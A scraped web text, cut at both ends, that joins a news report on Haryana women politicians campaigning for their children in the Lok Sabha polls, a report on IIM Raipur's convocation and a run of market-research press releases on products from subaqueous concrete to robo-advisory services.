Kiran Choudhry from Tosham assembly and Congress Renuka Bishnoi from Hansi assembly segment. JJPs Naina Chautala comes from influential Chautala clan and is toiling day and night to ensure win of her two sonsDushyant and Digvijayin the Lok Sabha polls. While Dushyant is seeking a mandate from Hisar parliamentary constituency for the second term, her younger son Digvijay is fielded by the JJP from Sonipat Lok Sabha seat. Naina Chautala, who became the first woman to take a political plunge in over half a century history of Chautala family, in 2014 Assembly elections, is now reaching out to the voters through public meetings and her Hari Chunri Chaupal programme exclusively for women. Though her constituency Dabwali falls under Sirsa Lok Sabha seat, she is currently busy with whirlwind election campaign covering Hisar and Sonipat constituencies as well. Naina is holding public meetings in more than 20 villages in a single day. You had elected Dushyant from Hisar Lok Sabha constituency and he delivered on his poll promises. Now, it is time to support all 10 candidates of JJP-AAP combine (alliance partners) and elect young and honest representatives like Dushyant. You have always supported me, now I seek your support for the party and my sons, she told voters at a public meeting recently. Naina is wife of former MP Ajay Chautala and daughter-in-law of former Chief Minister and INLDs supremo OP Chautala. Naina Chautala is not the only one, who is lending a helping hand by campaigning for her sons, BJPs first-time MLA from Uchana Kalan, Prem Lata is also doing her bit to seek votes in favour of her son Brijendra Singh, who is making a poll debut after his stint in bureaucracy. Brijendera is contesting from Hisar Lok Sabha seat, which includes Uchana Kalan assembly segment, represented by her mother in the Haryana Assembly. Prem Lata, wife of Union Minister and Rajya Sabha MP Birender Singh, is addressing atleast 10 public meetings every day to woo the voters in Hisar parliamentary constituency. Highlighting achievements of Narendra Modi Government and Manohar Lal Khattar Government, Prem Lata is urging electors to vote for the BJP to keep the pace of development in the country as well as the state. In her election speeches, she also showers praises on her son, who earlier served the people as a bureaucrat and has now donned the hat of a politician. A 1998 batch Haryana cadre IAS officer, Brijendra Singh has taken voluntary retirement to contest the Lok Sabha polls. Former Chief Minister Bhajan Lals daughter-in-law Renuka Bishnoi, who made a successful political debut in 2011 by winning familys bastion of Adampur assembly seat in Hisar, is now giving a full hand support to her son, Bhavya Bishnoi, who is trying this luck in the parliamentary polls, Bhavya Bishnoi is fielded by the Congress from Hisar Lok Sabha seat, which includes Hansi seat represented by his mother Renuka and Adampur assembly segment, now represented by his father Kuldeep Bishnoi. Renuka is busy holding public meetings till late evenings to seek votes for her son. The people of Hisar have always supported us This time, I request you to give your support and blessings to Bhavya, who will ensure overall development of Hisar, Renuka told the people of Hisar at a public meeting recently. In her campaign speeches, she also mentions the vital role of former Chief Minister Bhajan Lal for the development of Hisar as well as the entire state. Haryana, which is known for its skewed sex ratio and rigid patriarchal order, is also witnessing another woman legislator, Kiran Choudhry, daughter-in-law of former Chief Minister Bansi Lal in the electoral arena, seeking votes for her daughter. Kiran, CLP leader in Haryana Assembly and MLA from Tosham assembly segment, is actively campaigning for her daughter, Shruti Choudhry, who is a former MP and partys nominee from Bhiwani-Mahendragarh seat. The CLP leader is campaigning tirelessly day and night to garner support for her daughter. As a seasoned politician, who has remained active in Delhi and Haryana politics for over two decades now, Kiran Choudhry in her election speeches hits out at the BJP Government, highlighting its failures in the past five years. She also recounts the achievements of her father-in-law Bansi Lal, in the development of Haryana. Our website uses cookies to improve your experience. Learn more Global Subaqueous Concrete Market to Witness a Pronounce Growth During 2024 Top Key players like Cemex S.A.B. de C.V,Sika AG,Hanson UK,Inc. https://www.marketresearchreportstore.com/reports/562226/global-united-states-european-union-china https://www.marketresearchreportstore.com/reports/562226/global-united-states-european-union-china https://www.marketresearchreportstore.com Market Research Report Store offers a latest published report on Subaqueous Concrete Market Analysis and Forecast 2019-2025 delivering key insights and providing a competitive advantage to clients through a detailed report. The report contains 91 pages which highly exhibit on current market analysis scenario, upcoming as well as future opportunities, revenue growth, pricing and profitability.Click to view the full report TOC, figure and tables:In 2019, the market size of Subaqueous Concrete is million US$ and it will reach million US$ in 2025, growing at a CAGR of from 2019; while in China, the market size is valued at xx million US$ and will increase to xx million US$ in 2025, with a CAGR of xx% during forecast period.In this report, 2018 has been considered as the base year and 2019 to 2025 as the forecast period to estimate the market size for Subaqueous Concrete.This report studies the global market size of Subaqueous Concrete, especially focuses on the key regions like United States, European Union, China, and other regions (Japan, Korea, India and Southeast Asia).Market Segment by Manufacturers, this report coversCemex S.A.B. de C.VSika AGDyckerhoff Basal Nederland B.VHeidelberg Cement AGFive Star Products IncHanson UKKing Construction ProductsTarmac (Lafarge Tarmac)MAPEIMUHU (China) Construction Materials Co., Ltd.Rockbond SCP Ltd.Larsen Building ProductsKingstone Chemical China Co., Ltd.Market Segment by Type, coversOrganic Cementitious Material ConcreteInorganic Cementitious Material ConcreteMarket Segment by Applications, can be divided intoHydropowerMarineShore ProtectionSwimming PoolsOthersFor More Information On This Report, Please Visit @Related Information:North America Subaqueous Concrete Market Growth 2019-2024United States Subaqueous Concrete Market Growth 2019-2024Asia-Pacific Subaqueous Concrete Market Growth 2019-2024Europe Subaqueous Concrete Market Growth 2019-2024EMEA Subaqueous Concrete Market Growth 2019-2024Global Subaqueous Concrete Market Growth 2019-2024China Subaqueous Concrete Market Growth 2019-2024Customization Service of the Report :Market Research Report Store provides customization of reports as per your need. This report can be personalized to meet your requirements. Get in touch with our sales team, who will guarantee you to get a report that suits your necessities.About Us:Market Research Report Store (MRRS) is a professional organization related to market research reports in all directions .To provide customers with a variety of market research reports, MRRS cooperates with a large of famous market report publishers all over the world. Owing to our good service and the professional market reports in the wide range, MRRS enjoys a good reputation in the market. In pace with the development of MRRS, more and more customers and market report publishers choose to cooperate with us. As a specialized platform, MRRS upholds the supremacy of customers and aims to provide customers with better service and richer select.Contact USMarket Research Report StoreE-mail: info@marketresearchreportstore.comTel: +86-15521064060 00852-58197708(HK)Add: 17890 Castleton Street Suite 218 City of Industry CA 91748 United StatesWebsite: Indian Institute of Management, Raipur conducted its 8th annual convocation on Thursday. The institute graduated a total of 179 students from the 2017-19 batch and 54 students from the 2016-18 batch. In addition to this, 8 PhDs were granted at the convocation this year. The graduating students donned their well-deserved graduating robes after two years of continuous hard work and efforts towards self-betterment. The atmosphere in the auditorium was filled with excitement as the students were ready to finally receive the fruits of their success. The ceremony was attended by eminent personalities such as Dr. Ram Sewak Sharma, Chairman, Telecom Regulation Authority of India, who presided as the Chief Guest of the event, Shyamala Gopinathan, BoG, Chairperson, IIM Raipur and Prof. Bharat Bhasker, Director, IIM Raipur. Dr Sharma in his address said, Life is uncertain and it gets difficult at times, but this is where the opportunities for greatness arise. Dr Sharma concluded his speech by advising the students to be proud of their backgrounds, be true to themselves as pretending to be someone you are not is only wasteful and useless. Chairperson of the Board of Governors, ShyamalaGopinathan began her address by expressing her compliments to Prof Bharat Bhasker on winning the Best Director award. Professor Bhasker was conferred this award earlier this year at the Indian Subcontinent Decision Sciences Institutes 12 annual conference. Opportunity Analysis in Medical Cabinets & Utensils Market by Type and Application | Industry Forecast 2025 Medical Cabinets & Utensils Market https://www.alliedmarketresearch.com/request-toc-and-sample/3652 https://www.alliedmarketresearch.com/purchase-enquiry/3652 https://www.alliedmarketresearch.com Medical cabinets & utensils are essential parts of the healthcare infrastructure, as they are required for innumerable purposes. Cabinets are utilized to store different kinds of medical supplies, small devices, and personal belongings of patients & healthcare providers. To avoid contaminations and spread of infection, modern cabinets are infused with microbial protection.Utensils are used in surgical procedures to store surgical equipment, medications, and waste tissues & organs.The growth of the global medical cabinets & utensils market is driven by increase in demand for durable and cost-effective medical supplies. Furthermore, technological advancement and development in medical cabinets and utensils such as microbe resistant and waterproof are expected to boost the market growth. However, high cost of these medical cabinets & utensils and poor maintenance of medical supplies hinder the market growth.Download PDF Sample @The global medical cabinets & utensils market is segmented on the basis of type, application, and geography. Based on type, the market is divided into wall mounted style and floor mounted style. By application, it is categorized into aseptic implants manufacturer, medical equipment manufacturer, and others. Geographically, it is analyzed across North America, Europe, Asia Pacific, and LAMEA. These regions are further analyzed across the globe at country level to determine the market size and forecast for each segment and subsegment.Comprehensive competitive analysis and profiles of major market players such as Kimberly-Clark Corporation, Du Pont, Illinois Tool Works, Royal Imtech N.V., M+W Group, Azbil Corporation, Clean Air Products, and Alpiq Groupare are provided in this report.Key Benefits The study provides an in-depth analysis of the market along with current trends and future estimations to elucidate the imminent investment pockets. Extensive analysis of the market is conducted by following key product positioning and monitoring the top competitors within the market framework. It offers a quantitative analysis from 2017 to 2023 to enable the stakeholders to capitalize on the prevailing market opportunities. Comprehensive analysis of all geographical regions is provided to determine the prevailing opportunities. Key players are profiled and their strategies are analyzed thoroughly to understand the competitive outlook of the global market.Get Purchase Enquiry on this Report @About Us:Allied Market Research, a market research and advisory company of Allied Analytics LLP, provides business insights and market research reports to large as well as small & medium enterprises. The company assists its clients to strategize business policies and achieve sustainable growth in their respective market domain.Allied Market Research provides one stop solution from the beginning of data collection to investment advice. The analysts at Allied Market Research dig out factors that help clients to understand the significance and impact of market dynamics. The company amplies clients insight on the factors, such as strategies, future estimations, growth or fall forecasting, opportunity analysis, and consumer surveys among others. As follows, the company offers consistent business intelligent support to aid the clients to turn into prominent business firm.Contact:David Correa5933 NE Win Sivers Drive#205, Portland, OR 97220United StatesToll Free (USA/Canada):+1-800-792-5285, +1-503-894-6022, +1-503-446-1141UK: +44-845-528-1300Hong Kong: +852-301-84916India (Pune): +91-20-66346060Fax: +1855550-5975help@alliedmarketresearch.comWeb: Global Robo-advisory Market Grow at CAGR of 53.54% from 2018 to 2023 | Challenges and Opportunities by Top Players: Betterment LLC, Wealthfront, Nutmeg, Personal Capital, The Vanguard Group, FutureAdvisor Robo-advisory Market, Robo-advisory Market Outlook, Robo-advisory Market Size, Robo-advisory Industry Growth, Robo-advisory Market https://www.worldwidemarketreports.com/sample/251107 https://www.worldwidemarketreports.com/quiry/251107 https://www.worldwidemarketreports.com/discount/251107 New Statistical Research for Global Robo-advisory Market Grow at CAGR of 53.54% from 2018 to 2023 | Challenges and Opportunities by Players: Betterment LLC, Wealthfront, Nutmeg, Personal Capital, The Vanguard Group, FutureAdvisorRobo-advisors are independent financial planning services driven by algorithms and supported by a digital platform with no human intervention. They collect information from their customers at first through an online survey to understand their financial situations and ultimate goals. With this information they make portfolios of investments by calculating their risk and returns along with profits for long-term. The global robo-advisory market is expected to grow at an overall annual compound growth rate (CAGR) of 53.54% from 2018 to 2023 leading to a global revenue of USD 73.70 Bn by 2023.The Robo-advisory market research report displays the latest industry insights with future trends and analysis of the products and services, enabling you to deeply penetrate the market with high profitability. It also makes you aware of the leading competitors influencing the Robo-advisory market along with the key factors to help you sustain your products or services with better forecast of demand and growth opportunities.Request a sample PDF of Robo-advisory Market Research Report 2019 @ By Top manufacturers/players:Betterment LLC, Wealthfront, Nutmeg, Personal Capital, The Vanguard Group, FutureAdvisor, etc.Depending on various types of robo-advisory services available in the market, the global robo-advisory market has been classified into pure robo-advisors and hybrid robo-advisors. Among the different types, demand for hybrid robo-advisors is anticipated to be the most promising in the coming years. This is due to the increased affordability and accessibility with low financial assistance fee and rising objectivity, consistency and transparency.In addition, demand for robo-advisory services from various client asset segments including pension funds, insurance companies, sovereign wealth funds, high-net-worth individuals and the mass affluent is also provided in this report. Demand for automated financial services from mass affluent individuals held the largest market share in 2017 and is anticipated to maintain its dominance during the forecast period.Key growth factors:The robo-advisory market is predicted to witness a high growth rate owing to the surge in affordability and accessibility with low financial assistance fee and rising internet penetration along with advanced technology. Increasing competition with new entrants and diversified services is one of the primary factors that is expected to augment the demand of robo-advisors at an extensive rate in the coming years. Market Segment by Regions, regional analysis coversNorth America (United States, Canada and Mexico)Europe (Germany, France, UK, Russia and Italy)Asia-Pacific (China, Japan, Korea, India and Southeast Asia)South America (Brazil, Argentina, Colombia)Middle East and Africa (Saudi Arabia, UAE, Egypt, Nigeria and South Africa)If you have any special requirements, please let us know and we will offer you the report as you required.Robo-advisory Market Research Report 2019 Inquire Before Buy@The Robo-advisory research report completely covers the vital statistics of the capacity, production, value, cost/profit, supply/demand import/export, further divided by company and country, and by application/type for best possible updated data representation in the figures, tables, pie chart, and graphs. The statistical analysis, the report depicts the global total market of Robo-advisory Industry including capacity, production, production value, cost/profit, supply/demand import/export. The total market is further divided by company, by country, and by application/type for the competitive landscape analysis.Why buy Global Robo-advisory Market Research Report? Understand the demand for global robo-advisors to determine the viability of the market. Identify the developed and emerging markets where robo-advisory services are offered. Identify the challenge areas and address them. Develop strategies based on the drivers, trends and highlights for each of the segments. Evaluate the value chain to determine the workflow and to get an idea of the current position where you are placed. Recognize the key competitors of this market and respond accordingly. Knowledge of the initiatives and growth strategies taken up by the major companies and decide on the direction for further growth. Define the competitive positioning by comparing the products and services with the key players in the market.Request for Discount@About Us:Worldwide Market Reports is your one-stop repository of detailed and in-depth market research reports compiled by an extensive list of publishers from across the globe. We offer reports across virtually all domains and an exhaustive list of sub-domains under the sun. The in-depth market analysis by some of the most vastly experienced analysts provide our diverse range of clients from across all industries with vital decision making insights to plan and align their market strategies in line with current market trends. Worldwide Market Researchs well-researched inputs that encompass domains ranging from IT to healthcare enable our prized clients to capitalize upon key growth opportunities and shield against credible threats prevalent in the market in the current scenario and those expected in the near future.Mr. ShahWorldwide Market ReportsTel: +1 415 871 0703Email: sales@worldwidemarketreports.com Power Cable Market in Levant to hit $6 billion By 2024|Liban Cables, El-Sewedy Cables, MESC Jordan, Prysmian, Nexans, Belden, KEI Limited, Southwire Company Levant Power Cable Market https://www.gminsights.com/request-sample/detail/1618 https://www.gminsights.com/inquiry-before-buying/1618 www.gminsights.com Global Market Insights, Inc. Adds New Levant Power Cable Market Market 2019 2024 research report providing information and data By Product, By Water Depth, Industry Analysis, Regional Outlook, Growth Potential, Competitive Market Share & Forecast spreading across 115 Pages with table and figures in it.Refurbishment of aging electrical networks and rising demand for advanced energy matrix has significantly fueled Levant power cable market growth in the recent years. Growing investments toward the infrastructure development among the war-torn regions such as Iraq and Syria has positively driven the business outlook of Levant power cable industry.Request for a sample copy of this report @For the uninitiated, Levant is the imprecisely defined areas of Middle East which includes Israel, Syria, Lebanon, Palestine, Turkey, Cyprus, Egypt, Jordan, and Lebanon. The current civil-war condition of these Levant countries has strongly affected the public and private infrastructural assets and has thus encouraged the government to pour in a colossal trillion-dollar investment in these regions. This has strongly uplifted Levant power cable market demand across the regions, primarily to deliver effective transmission and distribution of electricity.Taking into account the governmental investments on energy infrastructure, Iraq in 2016, invested around USD 358 billion in strengthening and upgrading the countrys infrastructure post the civil wars. In addition, the Iraq government has also signed a Memorandum of Understanding in 2016 with Siemens to develop and modernize the countrys energy setup, which has further stimulated the growth of Levant power cable market. Another instance is of Egypt government investing USD 1.6 billion for transmission corridor projects. To meet the rising demand for electricity, the transmission corridor project was initiated by Egypt with an aim to extend its electricity line with the Saudi Arabian grid network. Development of such projects to rebuild the countrys economy to pre-war levels have prominently spurred the growth of Levant power cable industry. As per the estimates given by the United Nation, a projected investment of worth USD 180 billion is required to reconstruct the Syria economy to pre-war levels. Likewise, Iraq is also one of the most affected regions, in which the Anbar province alone is projected to require investment of USD 22 billion for its refurbishment.Make an inquiry for purchasing this report @Levant power cable industry is also gaining a significant prominence over the concerns regarding global climatic conditions. The rising impact of GHG and global warming has encouraged the government of these counties to reduce their dependency on conventional energy sources. The encouragement by the regional governments to adopt clean energy generating sources has further fostered Levant power cable industry size. Several governments are seen instigating projects and investments for harnessing renewable energy for their countrys development. For instance,Government of Israel, in 2017, announced the development of solar power generation project to meet the rising electricity demand in the region. This plan is recorded as the countrys largest solar power generation project with a capacity of 310 MW. The Israel government has further supported the growth of Levant power cable industry by announcing its aim to meet 10% of its electricity demand from renewable sources over the coming three years.In 2016, the Government of Jordan sanctioned its third renewable energy tender to add 100 MW of wind and 200 MW of solar energy generating projects in the country. Currently, 96% of regions energy demand is satisfied from import activities, but the regions growing renewable energy projects are foreseen to make positive impact on Levant power cable market shares.In 2017, the Government of Iraq signed a contract with ABB to deploy new energy transmission systems with a projected investment of over USD 500 million.By 2024, Levant power cable market from Turkey is set to record a valuation of over USD 2 billion, subject to Turkey Ministry of Energy and Natural Resources announcement to develop Dardanelles Strait Submarine Cable Project with 4GW capacity. Because of the regions appropriate geographical location and promising regulatory frame work, Turkey is also one of the most lucrative investment grounds pertaining to Levant power cable industry.The above-mentioned data clearly depicts the fact that countries including Jordan, Israel, Egypt, Iraq, and Turkey are emphasizing more on deploying clean energy systems. Thus, the growing demand for efficient transmission and distribution network of high capacity has majorly propelled the expansion of Levant power cable market. These countries are also focusing on facilitating the inter-regional transmission of electricity, which is further complementing the business of high voltage wires & cables in Levant power cable industry.The global industry players are seen collaborating to expand their global presence. One such instance is of the 2016 merger of Middle East Specialized Cables Co (MESC) with an Egyptian company Al-Mousa Cables. The two companies collaborated to enhance their product penetration in Levant and North African countries. Other renowned Levant power cable market players include Saudi Cables, The Okonite Company, DUCAB Cables, Bahra Advanced Cable Manufacture, and Southwire Company.About Global Market Insights:Global Market Insights, Inc., headquartered in Delaware, U.S., is a global market research and consulting service provider; offering syndicated and custom research reports along with growth consulting services. Our business intelligence and industry research reports offer clients with penetrative insights and actionable market data specially designed and presented to aid strategic decision making. These exhaustive reports are designed via a proprietary research methodology and are available for key industries such as chemicals, advanced materials, technology, renewable energy and biotechnology.Contact Us:Arun HegdeCorporate Sales, USAGlobal Market Insights, Inc.Phone: 1-302-846-7766Toll Free: 1-888-689-0688Email: sales@gminsights.comWeb: Luxury Products for Kids Market Sales Forecasts Reveal Positive Growth Through 2028 Luxury Products for Kids Market https://www.futuremarketinsights.com/reports/sample/rep-gb-205 https://www.futuremarketinsights.com/toc/rep-gb-205 Luxury goods comprises of products such as accessories, footwear, apparel, watches and others which are quite expensive and target those consumers who belongs to premium class. The market for luxury goods consist of three types of end consumers, which includes kids lying between the age of 0-12 years, teenagers belonging to the age group of 13 to 19 years and the rest lies in adult group.Whereas kids are concerned they are the smallest consumer group. Although being a smaller consumer group, the luxury products market for kids is experiencing tremendous growth in recent years due to changing consumer lifestyle and availability of the product. It is expected that spend on luxury shopping by consumers will grow by 25% in 2015. Luxury products for kids market is associated with higher margin as compared to adults luxury products segment. It has been found that babys luxury product accounted for more than 7.2% market share of luxury market in 2014. Luxury product market highly depends upon the factors such as attractive marketing, promotion techniques and proper distribution channel.Luxury products market for kids can be broadly segmented on the basis of product type, distribution channel and geographies. On the basis of product types it can be subsegmented into accessories, apparels and footwear. Among all these sub segments apparel market is expected to account for highest market share followed by footwear sub segment. The growth of apparel segment is fuelled by the frequently changing fashion and continuous need for new clothing for growing children. In 2014, U.S. and European market account for the most dominating market for apparel.Get Sample Copy of Report @The market for luxury baby product also depends upon the mode of distribution channel used for offering products to the consumers. The mode of Distribution channel is segmented into retail outlets, sell out through internet, companys brand outlet and others. Among all these distribution channel online retailing is expected to be most preferred mode for distribution in the forecasted period. This is This is due to consumer convenience preferences and availability of the products at lower price. Furthermore, the second most preferred mode is expected to be the companys brand retail outlets as they provide better offerings at less price.Furthermore, the luxury products market for kids inAsia pacific is expected to account for fastest CAGR in the forecasted period as compared to other regions. This is because the growth in luxury expenditure is expected to increase by 40% by 2020.In addition, countries such as Malaysia, Thailand and Singapore and are expected to contribute a significant share to overall Asia Pacific luxury products market for kids. Whereas, spending from China is expected to witness a fastest growth in Asia Pacific.It is predicted to boost the customer base and prominent contributor in the revenue of global luxury products market for kids.Moreover, presently North America and Western Europe dominate the total luxury products market for kids due to high purchasing power of consumers. These regions are expected to witness a slow growth as compared to the growth exhibited by countries in Asia Pacific.The key factors driving the growth of luxury products market for kids includes continuous innovation in products sub segments, rising disposable income, changing consumer lifestyle, awareness of products through internet and social media, improving countries economy, influence of the consumers through their peers, friends or neighbours, and others .However, there are some restraining factors which are affecting the growth for luxury products market for kids which include the expensive price range for consumers in emerging markets and less product variants availability across the distribution channel. Moreover, internet being a prominent medium for distribution of the luxury goods is expected to witness low adoption among the consumers in emerging markets. Thisis due to less internet penetration in these markets.Initially the market for luxury baby products was dominated by specialty retailers such as Childrens Place The Walt Disney Company, Mothercare plc, The Gymboree Corporation and others. However, with the increase in premium consumers leading to a shift in consumer buying behavior, due to this various companies have entered the market which includes GAPInc, J Crew Group, Inc, DKNY, Gucci Group, Diesel,Dolce &Gabbana, United Colors of Benetton, Jack & Jill clothing Inc,Giorgio Armani S.p.A, BLOCH, Burberry Group plc, Converse, Christian Dior S.A, FENDI and others.Request to Browse Full Table of Content, figure and Tables @This research report presents a comprehensive assessment of market and contains thoughtful insights, facts, historical data and statistically-supported and industry-validated market data and projections with a suitable set of assumptions and methodology. It provides analysis and information by categories such as market segments, geographies and types.The report covers exhaustive analysis on:Market SegmentsMarket DynamicsMarket SizeSupply & DemandCurrent Trends/Issues/ChallengesCompetition & Companies InvolvedTechnologyValue ChainRegional analysis includesNorth AmericaLatin AmericaAsia PacificJapanWestern EuropeEastern EuropeMiddle East & AfricaABOUT US:Future Market Insights (FMI) is a leading market intelligence and consulting firm. We deliver syndicated research reports, custom research reports and consulting services, which are personalized in nature. FMI delivers a complete packaged solution, which combines current market intelligence, statistical anecdotes, technology inputs, valuable growth insights, an aerial view of the competitive framework, and future market trends.CONTACT:Future Market Insights616 Corporate Way, Suite 2-9018,Valley Cottage, NY 10989,United StatesT: +1-347-918-3531F: +1-845-579-5705 Global ASEAN Hard Luxury Goods Market to Witness Rapid Development During the Period 2018-2028 ASEAN Hard Luxury Goods Market https://www.futuremarketinsights.com/reports/sample/rep-as-106 https://www.futuremarketinsights.com/toc/rep-as-106 Luxury goods comprises of products such as accessories, footwear, apparel, watches and others which are quite expensive and target those consumers who belongs to premium class. The market for luxury goods consist of three types of end consumers, which includes kids lying between the age of 0-12 years, teenagers belonging to the age group of 13 to 19 years and the rest lies in adult group. Luxury goods market can also be segmented on the basis of application which includes soft luxury goods and hard luxury goods. Soft luxury goods includes designer apparel and leather goods such as hand bags and others, which is easily available for the customers in the hypermarket stores or directly operative outlet. Whereas hard luxury goods comprises of jewellery and premium watches. The hard luxury goods are offered to the consumers through premium class outlets, stores or sell out through internet.Thus the market for hard luxury product is also segmented on the basis of mode of distribution channel used for offering products to the consumers. The mode of Distribution channel is segmented into retail outlets, sell out through internet, companys brand outlet and others. Among all these distribution channel online retailing is expected to be most preferred mode for distribution in the forecasted period. This is due to consumer convenience preferences and availability of the products at lower price. Furthermore, the second most preferred mode is expected to be the companys brand retail outlets as they provide better offerings at less price.Globally, the demand of hard luxury goods are showing robust annual growth of 10% to 12%.North America and Europe is the highest contributor in the market share of hard luxury goods market. Increasing demand of accessories coupled with rising middle class disposable income has supported the growth of emerging markets in Asia-Pacific. It is expected to account for the fastest CAGR growth as compared to other regions. Among all the countries in Asia Pacific China is expected to be the most lucrative market followed by Japan. India is also expected to show a healthy growth in the forecasted period by registering a single digit CAGR growth. Whereas in ASEAN region Singapore is expected to be the most dominant market. The rising growth for hard luxury goods in Singapore is supported by the new entrants of jewellery brands and rising sales of watches. Rapid urbanization coupled with increasing disposable income in Thailand and Malaysia is predicted to boost the customer base and prominent contributor in the revenue of hard luxury good market in ASEAN region followed by Indonesia and Philippines.Get Sample Copy of Report @Expanding middle class income group coupled with the urge of consumers for premium class products are the key drivers for the market growth of hard luxury goods in ASEAN region. Moreover, wide varieties of product offerings in each segments and continuous innovation and product launch is also expected to influence the consumers of ASEAN region to fuel the market growth of hard luxury goods in the forecasted period.However, the market of hard luxury goods in ASEAN region possess some restraining factors. This includes the weak distribution channel and limited availability of the products. Furthermore, the consumers perceives these products as quite expensive and also it is considered as a premium class product and not an absolute necessity.The key international market players for hard luxury goods operating in ASEAN region includes Gianni Versace S.p.A., LVMH Moet Hennessy Louis Vuitton SA, Compagnie Financiere Richemont SA, Prada S.p.A., Hermes International SCA, Salvatore Ferragamo S.p.A, Prada S.p.A, Ralph Lauren Corp, Christian Dior SE, Gucci, Rolex SA, Bottega Veneta, Louis Vuitton Malletier, Tod's S.p.A. and others.This research report presents a comprehensive assessment of market and contains thoughtful insights, facts, historical data and statistically-supported and industry-validated market data and projections with a suitable set of assumptions and methodology. It provides analysis and information by categories such as market segments, geographies and types.Regional analysis includesSingaporeMalaysiaThailandBruneiVietnamPhilippinesIndonesiaRequest to Browse Full Table of Content, figure and Tables @The report is a compilation of first-hand information, qualitative and quantitative assessment by industry analysts, inputs from industry experts and industry participants across the value chain. The report provides in-depth analysis of parent market trends, macro-economic indicators and governing factors along with market attractiveness as per segments. The report also the maps qualitative impact of various market factors on market segments and geographies.Report Highlights:Detailed overview of parent marketChanging market dynamics of the industryIn-depth market segmentationHistorical, current and projected market size in terms of volume and valueRecent industry trends and developmentsCompetitive landscapeStrategies of key players and product offeringsPotential and niche segments/regions exhibiting promising growthA neutral perspective towards market performanceMust-have information for market players to sustain and enhance their market footprintABOUT US:Future Market Insights (FMI) is a leading market intelligence and consulting firm. We deliver syndicated research reports, custom research reports and consulting services, which are personalized in nature. FMI delivers a complete packaged solution, which combines current market intelligence, statistical anecdotes, technology inputs, valuable growth insights, an aerial view of the competitive framework, and future market trends.CONTACT:Future Market Insights616 Corporate Way, Suite 2-9018,Valley Cottage, NY 10989,United StatesT: +1-347-918-3531F: +1-845-579-5705 Global Fireproof Insulation Market 2019 Gross Margin, Competitors, Business Overview, Distributors Forecast to 2027 Fireproof Insulation Market http://bit.ly/2WfrrHS http://bit.ly/2W60Lti https://www.theinsightpartners.com/ Do you need actual market size estimates for the Fireproof Insulation Market? Do you want to know the most attractive market segments in the Fireproof Insulation Market? Do you need technological insights into the Fireproof Insulation Market?Do you wish to benchmark your position in the global Fireproof Insulation Market?Do you need concrete data for making actionable business strategies?Check below link for our popular report on Fireproof Insulation Market that can help you transform your business with market potential analysis.This market intelligence report on Fireproof Insulation Market evaluates and presents a worldwide market scenario along with market estimates, insights and projections for a timeframe of 2017 to 2027. This examination the market dynamics that are foreseen to influence the market growth in a coming couple of years. Also, the report clarifies the effect of the key factors like drivers and restraints for market development. Future trends and opportunities in the global Fireproof Insulation market have also been mentioned in the study.Get Sample Copy of this Report at A comprehensive view of the Fireproof Insulation market is covered with competitive landscape and analysis of PEST analysis for the market. PEST analysis provides information on a political, economic, social and technological perspective of the macro-environment from Fireproof Insulation market perspective that helps market players understand the factor which can affect business's activities and performance.The study encompasses a market potential analysis, all the major segments are detailed with their market size, growth rate, and potential opportunities. Companies Profiled in this report includes BASF SE, Saint-Gobain S.A., Jewson Limited, Kingspan Group PLC, Berkshire Hathaway, Inc., Knauf Insulation GmbH, Arango Insulation, ROXUL Inc., Owens Corning Corporation, and ROCKWOOL International A/S among others.Leading Fireproof Insulation market players are profiled in the report with key facts, product portfolio, business performance, and strategic initiates. The challenges faced by them and the reasons they are in that position is explained to help make a well-informed decision. Competitive landscape of the Fireproof Insulation market is given presenting detailed insights into the company profiles including developments such as merges &acquisitions, collaborations, joint ventures, new production, expansions, and SWOT analysis.Our research content is primarily focused on the quantification of market developments in terms of market sizing and forecasting. Studding company activities help design the competitive landscape, and forecast market numbers at regional and level. We provide a detailed break-up of segmentation in terms of geography, North America, Europe, APAC, MEA and South America etc.; which helps our clients to get a deeper analysis of various research topicsThe target audience for the report on the Fireproof Insulation market Manufactures Market analysts Senior executives Business development managers Technologists R&D staff Distributors Investors Governments Equity research firms ConsultantsPurchase a Copy of Report at -The Insight Partners is a one stop industry research provider of actionable intelligence. We help our clients in getting solutions to their research requirements through our syndicated and consulting research services. We are a specialist in Technology, Healthcare, Manufacturing, Automotive and Defense.Call: +1-646-491-9876Email: sales@theinsightpartners.comWebsite: Remote Asset Managements Market 2019: Development, Opportunity, Growth by Top Key Players (AT&T, Cisco Systems, Hitachi, Schneider, PTC, Infosys, IBM, Rockwell, SAP SE, Verizon etc.) Remote Asset Managements Market https://www.orianresearch.com/request-sample/957867 https://www.orianresearch.com/enquiry-before-buying/957867 https://www.orianresearch.com/checkout/957867 Remote Asset Managements Industry 2019 Global Market research report provides a comprehensive assessment of the market and contains thoughtful insights, facts, historical data, and statistically supported and industry-validated market data. It also contains projections using a suitable set of assumptions and methodologies.Get Sample Copy of This Report atDevelopment policies and plans are discussed as well as manufacturing processes and cost structures. This report also states import/export, supply and consumption figures as well as cost, price, revenue and gross margin by regions North America, Europe, Japan, China, and other regions (India, Southeast Asia, Central & South America, Middle East & Africa etc.)Inquire more or share questions if any before the purchase on this report @Key Companies Analyzed in this Report are: AT&T (US) Cisco Systems (US) Hitachi (Japan) Schneider Electric (France) PTC Inc (US) Infosys Limited (India) IBM (US) Rockwell Automation (US) SAP SE (Germany) Verizon Communications (US) Global Remote Asset Managements Market report has been compiled through extensive primary research (through analytical research, market survey and observations) and secondary research. The report also features a complete focused on qualitative and quantitative assessment by analyzing data gathered from industry analysts and market participants across key points in the industrys value chain, growth aspects, utilization ratio and manufacturing capacity.Place a Direct Order Of this Report @Major Points Covered in Table of Contents:1 Report Overview2 Global Growth Trends3 Market Share by Key Players4 Breakdown Data by Type and Application5 United States6 Europe7 China8 Japan9 Southeast Asia10 India11 Central & South America12 International Players Profiles13 Market Forecast 2019-202514 Analyst's Viewpoints/Conclusions15 AppendixAbout UsOrian Research is one of the most comprehensive collections of market intelligence reports on The World Wide Web. Our reports repository boasts of over 500000+ industry and country research reports from over 100 top publishers. We continuously update our repository so as to provide our clients easy access to the world's most complete and current database of expert insights on global industries, companies, and products. We also specialize in custom research in situations where our syndicate research offerings do not meet the specific requirements of our esteemed clients.Contact UsRuwin MendezVice President Global Sales & Partner RelationsOrian Research ConsultantsUS: +1 (415) 830-3727 | UK: +44 020 8144-71-27Email: info@orianresearch.com Global Complex Event Processing (CEP) Market Insights, Industry Player (Oracle, Fujitsu, TIBCO, WSO2), Key County Analysis (North America, United States, Europe, Japan, India) and Forecast 2019-2025 Market Research Hub https://www.marketresearchhub.com/enquiry.php?type=S&repid=2276185 https://www.marketresearchhub.com/report/global-complex-event-processing-cep-market-size-status-and-forecast-2019-2025-report.html The 